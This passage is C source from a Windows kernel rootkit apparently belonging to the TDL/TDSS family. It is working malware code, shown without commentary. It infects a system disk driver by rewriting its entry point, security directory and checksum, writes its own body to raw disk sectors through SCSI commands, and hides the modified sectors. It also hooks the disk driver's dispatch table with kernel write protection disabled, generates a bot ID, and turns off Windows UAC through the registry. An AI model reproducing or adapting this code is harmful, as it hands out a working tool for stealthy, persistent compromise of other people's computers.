 GET_TDL_ADDRESSES->dwFirstHiddenSector=GET_TDL_ADDRESSES->dwDriverCodeSector;
 memset(GET_TDL_ADDRESSES->thsSectors,0,sizeof(GET_TDL_ADDRESSES->thsSectors));
 pinhHeader=RtlImageNtHeader(GET_TDL_ADDRESSES->pdoDriver->DriverStart);
 pishHeader=IMAGE_FIRST_SECTION(pinhHeader);
 pvMJStub=RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverStart,pishHeader->VirtualAddress+pishHeader->Misc.VirtualSize);
 GET_TDL_ADDRESSES->pddMJ=ADDRESS_DELTA(PDRIVER_DISPATCH,MJDispatch);
 dwOldCR0=__readcr0();
 __writecr0(dwOldCR0&~(1<<16));
 memcpy(pvMJStub,ADDRESS_DELTA(PVOID,MJStub),(DWORD_PTR)TDLInit-(DWORD_PTR)MJStub);
 __writecr0(dwOldCR0);
 memcpy(GET_TDL_ADDRESSES->pddDiskMJ,GET_TDL_ADDRESSES->pdoDriver->MajorFunction,sizeof(GET_TDL_ADDRESSES->pddDiskMJ));
#ifdef _WIN64
 RtlFillMemoryUlonglong(GET_TDL_ADDRESSES->pdoDriver->MajorFunction,sizeof(GET_TDL_ADDRESSES->pdoDriver->MajorFunction),pvMJStub);
#else
 RtlFillMemoryUlong(GET_TDL_ADDRESSES->pdoDriver->MajorFunction,sizeof(GET_TDL_ADDRESSES->pdoDriver->MajorFunction),pvMJStub);
#endif
 dwRsrcOffset=RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress);
 pvRsrcOriginalOffset=RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE));
 dwRsrcSize=TDL_START_SIZE;
 while(dwRsrcSize>0)
 {
 DWORD dwPartSize;


 dwPartSize=GET_TDL_ADDRESSES->dwSectorSize-(dwRsrcOffset%GET_TDL_ADDRESSES->dwSectorSize);
 if(dwPartSize>dwRsrcSize)
 {
 dwPartSize=dwRsrcSize;
 }
 HIDDEN_SECTOR_ADD(0,dwRsrcOffset,dwPartSize,pvRsrcOriginalOffset);
 dwRsrcSize-=dwPartSize;
 dwRsrcOffset+=dwPartSize;
 pvRsrcOriginalOffset=RtlOffsetToPointer(pvRsrcOriginalOffset,dwPartSize);
 }
 HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress),sizeof(DWORD),&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress);
 HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size),sizeof(DWORD),&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size);
 HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.AddressOfEntryPoint),sizeof(DWORD),&pinhHeader->OptionalHeader.AddressOfEntryPoint);
 HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.CheckSum),sizeof(DWORD),&pinhHeader->OptionalHeader.CheckSum);
 for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++)
 {
 svibBuffer.StartingVcn.QuadPart=(ULONGLONG)(GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset/dwClasterSize);
 ZwFsControlFile(hDriver,0,0,0,&iosbStatus,FSCTL_GET_RETRIEVAL_POINTERS,&svibBuffer,sizeof(svibBuffer),&rpbBuffer,sizeof(rpbBuffer));
 GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset=dwFirstSector+(DWORD)_alldiv((ULONGLONG)(GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset+piInfo.StartingOffset.QuadPart+_allmul(rpbBuffer.Extents[0].Lcn.QuadPart,(LONGLONG)dwClasterSize)),(ULONGLONG)GET_TDL_ADDRESSES->dwSectorSize);
 GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset%=GET_TDL_ADDRESSES->dwSectorSize;
 }
 ZwCreateSection(&hSection,SECTION_ALL_ACCESS,0,0,PAGE_READWRITE,SEC_COMMIT,hDriver);
 dwSize=0;
 ZwMapViewOfSection(hSection,NtCurrentProcess(),&pvFile,0,0,0,&dwSize,ViewUnmap,MEM_TOP_DOWN,PAGE_READWRITE);
 ZwClose(hSection);
 pinhHeaderCache=RtlImageNtHeader(pvFile);
 pinhHeaderCache->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress;
 pinhHeaderCache->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size;
 pinhHeaderCache->OptionalHeader.AddressOfEntryPoint=pinhHeader->OptionalHeader.AddressOfEntryPoint;
 pinhHeaderCache->OptionalHeader.CheckSum=pinhHeader->OptionalHeader.CheckSum;
 memcpy(RtlOffsetToPointer(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress)),RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)),TDL_START_SIZE);
 ZwUnmapViewOfSection(NtCurrentProcess(),pvFile);
 //ZwClose(hDriver);
 TDLFSInit();
 _snwprintf(GET_TDL_ADDRESSES->wcTDLConfig,RTL_NUMBER_OF(GET_TDL_ADDRESSES->wcTDLConfig)-1,wcIniFormat,GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory);

 //////////////////////////////////////////////////////////////////////////
 /*
CHAR cDebug[]={'U','P','D','%','w','s',' ','%','d','\n',0};
 CHAR cSection[]={'m','a','i','n',0};
 CHAR cKey[]={'r','e','b','o','o','t','s',0};

 DbgPrint(cDebug,GET_TDL_ADDRESSES->wcTDLConfig,
 TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0));

 TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,
 TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0)+1);

 DbgPrint(cDebug,GET_TDL_ADDRESSES->wcTDLConfig,TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0));





 TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,
 TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0)+1);
*/


 //////////////////////////////////////////////////////////////////////////
 GET_TDL_ADDRESSES->pvLoadLibraryExA=0;

 /*
WCHAR wcIniFormat2[]={L'%',L's',L'\\',L'%',L's',L'\\',L'm',L'u',L't',L'e',L'x','.',L't',L'm',L'p',0};
 WCHAR wcFile[MAX_PATH];


 _snwprintf(wcFile,RTL_NUMBER_OF(wcFile)-1,wcIniFormat2,
 GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory);


 CHAR cMsg[]={'i','s','a','f','t','e','\n',0};
 DbgPrint(cMsg);


 BOOL bRet=FALSE;


 HANDLE hFile=0;
 UNICODE_STRING usFile;
 OBJECT_ATTRIBUTES oaAttributes;
 IO_STATUS_BLOCK iosbStatus;


 RtlInitUnicodeString(&usFile,wcFile);
 InitializeObjectAttributes(&oaAttributes,&usFile,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);


 bRet=NT_SUCCESS(ZwOpenFile(hFile,FILE_WRITE_DATA|FILE_READ_DATA|SYNCHRONIZE,
 &oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT));


 if(!bRet)
 {
 CHAR cMsg1[]={'c','r','e','a','t','\n',0};
 DbgPrint(cMsg1);


 ZwCreateFile(&hFile,SYNCHRONIZE|GENERIC_WRITE,&oaAttributes,&iosbStatus,0,0,
 FILE_SHARE_READ,FILE_CREATE,FILE_SYNCHRONOUS_IO_NONALERT,0,0);
 }
 else
 {
 CHAR cMsg2[]={'o','p','e','n','o','k','\n',0};
 DbgPrint(cMsg2);


 PsSetLoadImageNotifyRoutine(ADDRESS_DELTA(PLOAD_IMAGE_NOTIFY_ROUTINE,LoadImageNotify));
 }


 if(hFile) ZwClose(hFile);
*/


 PsSetLoadImageNotifyRoutine(ADDRESS_DELTA(PLOAD_IMAGE_NOTIFY_ROUTINE,LoadImageNotify));


 pwqiThread=(PWORK_QUEUE_ITEM)ExAllocatePool(NonPagedPool,sizeof(WORK_QUEUE_ITEM));
 if(pwqiThread!=0)
 {
 ExInitializeWorkItem(pwqiThread,ADDRESS_DELTA(PWORKER_THREAD_ROUTINE,WIKnock),pwqiThread);


 ExQueueWorkItem(pwqiThread,DelayedWorkQueue);
 }
 //KADInit();
 WCHAR wcUAC[]={'\\','r','e','g','i','s','t','r','y','\\','m','a','c','h','i','n','e','\\',
 'S','O','F','T','W','A','R','E','\\','M','i','c','r','o','s','o','f','t','\\',
 'W','i','n','d','o','w','s','\\','C','u','r','r','e','n','t','V','e','r','s','i','o','n','\\',
 'P','o','l','i','c','i','e','s','\\','S','y','s','t','e','m',0};

 WCHAR wcUACName[]={'E','n','a','b','l','e','L','U','A',0};
 DWORD dwUAC=0;


 RtlWriteRegistryValue(RTL_REGISTRY_ABSOLUTE,wcUAC,wcUACName,REG_DWORD,&dwUAC,sizeof(dwUAC));
 }
 }
 return STATUS_SUCCESS;
}


NTSTATUS Reinitialize(PDEVICE_OBJECT pdoDevice,BOOLEAN bFsActive)
{
 WCHAR wcFormat[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',L'\\',L's',L'y',L's',L't',L'e',L'm',L'3',L'2',L'\\',L'd',L'r',L'i',L'v',L'e',L'r',L's',L'\\',L'%',L's','.',L's',L'y',L's',0};
 WCHAR wcDriver[MAX_PATH];
 OBJECT_ATTRIBUTES oaAttributes;
 UNICODE_STRING usFile;
 IO_STATUS_BLOCK iosbStatus;
 HANDLE hDriver;


 _snwprintf(wcDriver,RTL_NUMBER_OF(wcDriver),wcFormat,RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverName.Buffer,sizeof(L"\\driver")));
 RtlInitUnicodeString(&usFile,wcDriver);
 InitializeObjectAttributes(&oaAttributes,&usFile,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
 if(NT_SUCCESS(ZwOpenFile(&hDriver,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ,FILE_SYNCHRONOUS_IO_NONALERT)))
 {
 TDLInit(hDriver);

 if(pdoDevice!=0)
 {
 IoUnregisterFsRegistrationChange(GET_TDL_ADDRESSES->pdoDriver,ADDRESS_DELTA(PDRIVER_FS_NOTIFICATION,Reinitialize));
 }
 return STATUS_SUCCESS;
 }
 return STATUS_OBJECT_NAME_NOT_FOUND;
}


__declspec(noinline) VOID TDLEnd()
{
 return;
}


NTSTATUS TDLStart(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry)
{
 PTDL_START ptsStart;
 DWORD dwDelta;
 PIMAGE_NT_HEADERS pinhHeader;
 PIMAGE_SECTION_HEADER pishHeader;
 DWORD dwSection;


 __asm
 {
 call delta
 delta:
 pop eax
 sub eax,offset delta
 mov [dwDelta],eax
 }
 ptsStart=(PTDL_START)RtlOffsetToPointer(TDLStart,dwDelta+TDL_START_SIZE-sizeof(TDL_START));
 if((DWORD_PTR)pusRegistry>1)
 {
 PVOID pvKernel;
 PLIST_ENTRY pleEntry;


 pleEntry=((PLDR_DATA_TABLE_ENTRY)pdoDriver->DriverSection)->InLoadOrderLinks.Flink;
 while(CONTAINING_RECORD(pleEntry,LDR_DATA_TABLE_ENTRY,InLoadOrderLinks)->LoadCount!=0)
 {
 pleEntry=pleEntry->Flink;
 }
 pvKernel=CONTAINING_RECORD(pleEntry->Flink,LDR_DATA_TABLE_ENTRY,InLoadOrderLinks)->DllBase;
 ((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->SystemCallPad[0]=(ULONGLONG)((PExAllocatePool)RtlOffsetToPointer(pvKernel,ptsStart->pExAllocatePool))(NonPagedPool,sizeof(TDL_ADDRESSES));
 GET_TDL_ADDRESSES->pvKernel=pvKernel;
 GET_TDL_ADDRESSES->pdoDriver=pdoDriver;
 pinhHeader=(PIMAGE_NT_HEADERS)RtlOffsetToPointer(pdoDriver->DriverStart,((PIMAGE_DOS_HEADER)pdoDriver->DriverStart)->e_lfanew);
 pishHeader=IMAGE_FIRST_SECTION(pinhHeader);
 for(dwSection=0;dwSection<pinhHeader->FileHeader.NumberOfSections;dwSection++)
 {
 pishHeader->Characteristics&=~IMAGE_SCN_MEM_DISCARDABLE;
 if(*(PDWORD)pishHeader->Name=='TINI')
 {
 *pishHeader->Name=0;
 }
 pishHeader++;
 }
 ((PIoRegisterFsRegistrationChange)RtlOffsetToPointer(pvKernel,ptsStart->pIoRegisterFsRegistrationChange))(pdoDriver,(PDRIVER_FS_NOTIFICATION)RtlOffsetToPointer(TDLStart,dwDelta));
 return ((PDRIVER_INITIALIZE)RtlOffsetToPointer(pdoDriver->DriverStart,ptsStart->pdiOEP))(pdoDriver,pusRegistry);
 }
 else
 {
 PDEVICE_OBJECT pdoDevice;


 GET_TDL_ADDRESSES->pvDriverCode=((PExAllocatePool)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pExAllocatePool))(NonPagedPool,ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200));
 pdoDevice=GET_TDL_ADDRESSES->pdoDriver->DeviceObject;
 while(pdoDevice!=0)Â 
 {
 BYTE bDeviceName[MAX_PATH];
 DWORD dwSize;


 if(NT_SUCCESS(((PObQueryNameString)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pObQueryNameString))(pdoDevice,(POBJECT_NAME_INFORMATION)bDeviceName,sizeof(bDeviceName),&dwSize)))
 {
 OBJECT_ATTRIBUTES oaAttributes;
 IO_STATUS_BLOCK iosbStatus;
 LARGE_INTEGER liOffset;
 HANDLE hDisk;


 liOffset.QuadPart=ptsStart->ullDriverCodeOffset;
 InitializeObjectAttributes(&oaAttributes,&((POBJECT_NAME_INFORMATION)bDeviceName)->Name,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
 if(NT_SUCCESS(((PZwOpenFile)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pZwOpenFile))(&hDisk,FILE_READ_DATA|FILE_WRITE_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT|FILE_WRITE_THROUGH))
 &&NT_SUCCESS(((PZwReadFile)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pZwReadFile))(hDisk,0,0,0,&iosbStatus,GET_TDL_ADDRESSES->pvDriverCode,(DWORD)ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200),&liOffset,0))
 &&(*(PDWORD)GET_TDL_ADDRESSES->pvDriverCode==TDL_SIGNATURE))
 {
 ((PIoUnregisterFsRegistrationChange)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pIoUnregisterFsRegistrationChange))(GET_TDL_ADDRESSES->pdoDriver,(PDRIVER_FS_NOTIFICATION)RtlOffsetToPointer((DWORD_PTR)dwDelta,TDLStart));
 return ((PDRIVER_INITIALIZE)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)+TDL_START_SIZE))(GET_TDL_ADDRESSES->pdoDriver,(PUNICODE_STRING)pdoDevice);
 }
 }
 pdoDevice=pdoDevice->NextDevice;
 }
 }
 return STATUS_SUCCESS;
}


NTSTATUS DriverInfect(PWCHAR pwcDriver,PDEVICE_OBJECT pdoDevice,PHANDLE phDriver)
{
 NTSTATUS ntsResult;
 READ_CAPACITY_DATA rcdData;


 ntsResult=STATUS_VOLUME_DIRTY;
 if(NT_SUCCESS(SCSICmd(GET_TDL_ADDRESSES->pdoDeviceDisk,GET_TDL_ADDRESSES->pdoDeviceDisk->DriverObject->MajorFunction[IRP_MJ_SCSI],SCSIOP_READ_CAPACITY,SRB_FLAGS_DATA_IN,&rcdData,sizeof(rcdData),0)))
 {
 LARGE_INTEGER liOffset;


 liOffset.QuadPart=_allmul((ULONGLONG)_byteswap_ulong(rcdData.LogicalBlockAddress),(ULONGLONG)_byteswap_ulong(rcdData.BytesPerBlock))-ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200);
 GET_TDL_ADDRESSES->ullFSOffset=liOffset.QuadPart;
 ntsResult=STATUS_INSUFFICIENT_RESOURCES;
 GET_TDL_ADDRESSES->pvDriverCode=ExAllocatePool(NonPagedPool,(DWORD)ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200));
 if(GET_TDL_ADDRESSES->pvDriverCode!=0)
 {
 DWORD dwSectorOffset;
 OBJECT_ATTRIBUTES oaAttributes;
 IO_STATUS_BLOCK iosbStatus;
 UNICODE_STRING usDriver;


 RtlInitUnicodeString(&usDriver,pwcDriver);
 InitializeObjectAttributes(&oaAttributes,&usDriver,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
 ntsResult=STATUS_FILE_LOCK_CONFLICT;
 if(NT_SUCCESS(ZwOpenFile(phDriver,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ,FILE_SYNCHRONOUS_IO_NONALERT|FILE_WRITE_THROUGH)))
 {
 FILE_STANDARD_INFORMATION fsiInfo;


 if(NT_SUCCESS(ZwQueryInformationFile(*phDriver,&iosbStatus,&fsiInfo,sizeof(fsiInfo),FileStandardInformation)))
 {
 HANDLE hSection;


 if(NT_SUCCESS(ZwCreateSection(&hSection,SECTION_ALL_ACCESS,0,0,PAGE_READWRITE,SEC_COMMIT,*phDriver)))
 {
 SIZE_T stSize=0;
 PVOID pvFile=0;

 if(NT_SUCCESS(ZwMapViewOfSection(hSection,NtCurrentProcess(),&pvFile,0,0,0,&stSize,ViewUnmap,MEM_TOP_DOWN,PAGE_READWRITE)))
 {
 PIMAGE_NT_HEADERS pinhHeader;
 TDL_START tsStart;


 *(PDWORD)GET_TDL_ADDRESSES->pvDriverCode=TDL_SIGNATURE;
 pinhHeader=RtlImageNtHeader(pvFile);
 memcpy(RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)),RtlOffsetToPointer(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress)),TDL_START_SIZE);
 memcpy(RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)+TDL_START_SIZE),TDLEntry,(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry);
 dwSectorOffset=(DWORD)_alldiv(liOffset.QuadPart,(ULONGLONG)0x200);
 ntsResult=STATUS_MEDIA_WRITE_PROTECTED;
 if(NT_SUCCESS(SCSICmd(GET_TDL_ADDRESSES->pdoDeviceDisk,GET_TDL_ADDRESSES->pdoDeviceDisk->DriverObject->MajorFunction[IRP_MJ_SCSI],SCSIOP_WRITE,SRB_FLAGS_DATA_OUT,GET_TDL_ADDRESSES->pvDriverCode,(DWORD)ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200),dwSectorOffset)))
 {
 ntsResult=STATUS_SUCCESS;
 GET_TDL_ADDRESSES->pvKernel=GetNtoskrnlBase();
 tsStart.pExAllocatePool=(PExAllocatePool)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xde45e96c));
 tsStart.pdiOEP=(PDRIVER_INITIALIZE)(DWORD_PTR)pinhHeader->OptionalHeader.AddressOfEntryPoint;
 tsStart.pObQueryNameString=(PObQueryNameString)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xacc76391));
 tsStart.pZwOpenFile=(PZwOpenFile)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xe1958d63));
 tsStart.ullDriverCodeOffset=liOffset.QuadPart;
 tsStart.pZwReadFile=(PZwReadFile)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xba157c0f));
 tsStart.pIoRegisterFsRegistrationChange=(PIoRegisterFsRegistrationChange)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xe59d219f));
 tsStart.pIoUnregisterFsRegistrationChange=(PIoUnregisterFsRegistrationChange)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0x9a77f3d8));
 tsStart.dwSectionSecurityVirtualAddress=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress;
 tsStart.dwSectionSecuritySize=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size;
 tsStart.dwCheckSum=pinhHeader->OptionalHeader.CheckSum;
 memcpy(MAKE_PTR(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress),PVOID),(PVOID)TDLStart,(DWORD_PTR)DriverInfect-(DWORD_PTR)TDLStart);
 memcpy(MAKE_PTR(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress)+TDL_START_SIZE-sizeof(TDL_START),PVOID),&tsStart,sizeof(tsStart));
 pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=0;
 pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=0;
 pinhHeader->OptionalHeader.AddressOfEntryPoint=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress;
 pinhHeader->OptionalHeader.CheckSum=0;
 pinhHeader->OptionalHeader.CheckSum=PEChecksum(pvFile,fsiInfo.EndOfFile.LowPart,0);
 }
 ZwUnmapViewOfSection(NtCurrentProcess(),pvFile);
 }
 ZwClose(hSection);
 }
 }
 }
 }
 }
 return ntsResult;
}


DWORD DriverEntry(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry)
{
 //CHAR cDebug[]={'T','D','L','\n',0};
 //DbgPrint(cDebug);


 CHAR cBotID[0x10+1];
 WCHAR wcBotID[0x10+sizeof(L'\\')+1];
 WCHAR wcBotIDFormat[]={L'\\',L'%',L'S',0};
 OBJECT_ATTRIBUTES oaAttributes;
 HANDLE hEvent;
 NTSTATUS ntsStatus=STATUS_OBJECT_NAME_COLLISION;
 UNICODE_STRING usName;
 GenerateBotID(cBotID,RTL_NUMBER_OF(cBotID));

 _snwprintf(wcBotID,RTL_NUMBER_OF(wcBotID),wcBotIDFormat,cBotID);
 RtlInitUnicodeString(&usName,wcBotID);
 InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
 if(NT_SUCCESS(ZwCreateEvent(&hEvent,EVENT_ALL_ACCESS,&oaAttributes,NotificationEvent,TRUE)))
 {
 WCHAR wcVolume[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',0};
 HANDLE hVolumeLink;


 ntsStatus=STATUS_LINK_FAILED;
 ((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->SystemCallPad[0]=(ULONGLONG)ExAllocatePool(NonPagedPool,sizeof(TDL_ADDRESSES));
 memset(GET_TDL_ADDRESSES,0,sizeof(TDL_ADDRESSES));
 strncpy(GET_TDL_ADDRESSES->cBotID,cBotID,sizeof(GET_TDL_ADDRESSES->cBotID)); 
 RtlInitUnicodeString(&usName,wcVolume);
 InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
 if(NT_SUCCESS(ZwOpenSymbolicLinkObject(&hVolumeLink,GENERIC_READ,&oaAttributes)))
 {
 WCHAR wcSystemRoot[MAX_PATH];


 usName.Buffer=wcSystemRoot;
 usName.MaximumLength=sizeof(wcSystemRoot);
 if(NT_SUCCESS(ZwQuerySymbolicLinkObject(hVolumeLink,&usName,0)))
 {
 HANDLE hVolumeDirectory;
 WCHAR wcVolumeDevice[MAX_PATH];
 WCHAR wcFormatDevice[]={L'\\',L'?',L'?',L'\\',L'g',L'l',L'o',L'b',L'a',L'l',L'r',L'o',L'o',L't',L'%',L'w',L'Z',0};


 *wcschr(wcschr(usName.Buffer+sizeof(WCHAR),L'\\')+sizeof(WCHAR),L'\\')=0;
 _snwprintf(wcVolumeDevice,RTL_NUMBER_OF(wcVolumeDevice),wcFormatDevice,&usName);
 RtlInitUnicodeString(&usName,wcVolumeDevice);
 ntsStatus=STATUS_FILE_IS_A_DIRECTORY;
 if(NT_SUCCESS(ZwOpenDirectoryObject(&hVolumeDirectory,DIRECTORY_QUERY,&oaAttributes)))
 {
 PDIRECTORY_BASIC_INFORMATION pdbiInfo;


 pdbiInfo=(PDIRECTORY_BASIC_INFORMATION)ExAllocatePool(PagedPool,PAGE_SIZE);
 if(pdbiInfo!=0)
 {
 DWORD dwSize;
 DWORD dwContext=0;


 ntsStatus=STATUS_BUFFER_TOO_SMALL;
 if(NT_SUCCESS(ZwQueryDirectoryObject(hVolumeDirectory,pdbiInfo,PAGE_SIZE,FALSE,FALSE,&dwContext,&dwSize)))
 {
 ntsStatus=STATUS_OBJECT_NAME_NOT_FOUND;
 for(dwContext=0;pdbiInfo[dwContext].ObjectName.Length!=0;dwContext++)
 {
 WCHAR wcDevice[]={L'd',L'e',L'v',L'i',L'c',L'e',0};


 if((*(PDWORD)pdbiInfo[dwContext].ObjectName.Buffer=='R\0D\0')
 &&(_wcsnicmp(pdbiInfo[dwContext].ObjectTypeName.Buffer,wcDevice,pdbiInfo[dwContext].ObjectTypeName.Length/sizeof(WCHAR))==0))
 {
 WCHAR wcFormatObject[]={L'%',L's',L'\\',L'%',L'w',L'Z',0};
 HANDLE hVolumeDevice;
 IO_STATUS_BLOCK iosbStatus;


 ntsStatus=STATUS_OBJECT_NO_LONGER_EXISTS;
 _snwprintf(wcVolumeDevice,RTL_NUMBER_OF(wcVolumeDevice),wcFormatObject,wcSystemRoot,&pdbiInfo[dwContext].ObjectName);
 RtlInitUnicodeString(&usName,wcVolumeDevice);
 if(NT_SUCCESS(ZwOpenFile(&hVolumeDevice,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT)))
 {
 PFILE_OBJECT pfoDriver;


 ntsStatus=STATUS_GRAPHICS_TOO_MANY_REFERENCES;
 if(NT_SUCCESS(ObReferenceObjectByHandle(hVolumeDevice,SYNCHRONIZE,0,KernelMode,(PVOID*)&pfoDriver,0)))
 {
 WCHAR wcFormatDriverPath[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',L'\\',L's',L'y',L's',L't',L'e',L'm',L'3',L'2',L'\\',L'd',L'r',L'i',L'v',L'e',L'r',L's',L'\\',L'%',L's','.',L's',L'y',L's',0};
 WCHAR wcPath[MAX_PATH];
 HANDLE hDriver;


 GET_TDL_ADDRESSES->pdoDeviceDisk=((PDEVOBJ_EXTENSION_REAL)pfoDriver->DeviceObject->DeviceObjectExtension)->AttachedTo;
 while(((PDEVOBJ_EXTENSION_REAL)GET_TDL_ADDRESSES->pdoDeviceDisk->DeviceObjectExtension)->AttachedTo!=0)
 {
 GET_TDL_ADDRESSES->pdoDeviceDisk=((PDEVOBJ_EXTENSION_REAL)GET_TDL_ADDRESSES->pdoDeviceDisk->DeviceObjectExtension)->AttachedTo;
 }
 GET_TDL_ADDRESSES->pdoDriver=GET_TDL_ADDRESSES->pdoDeviceDisk->DriverObject;
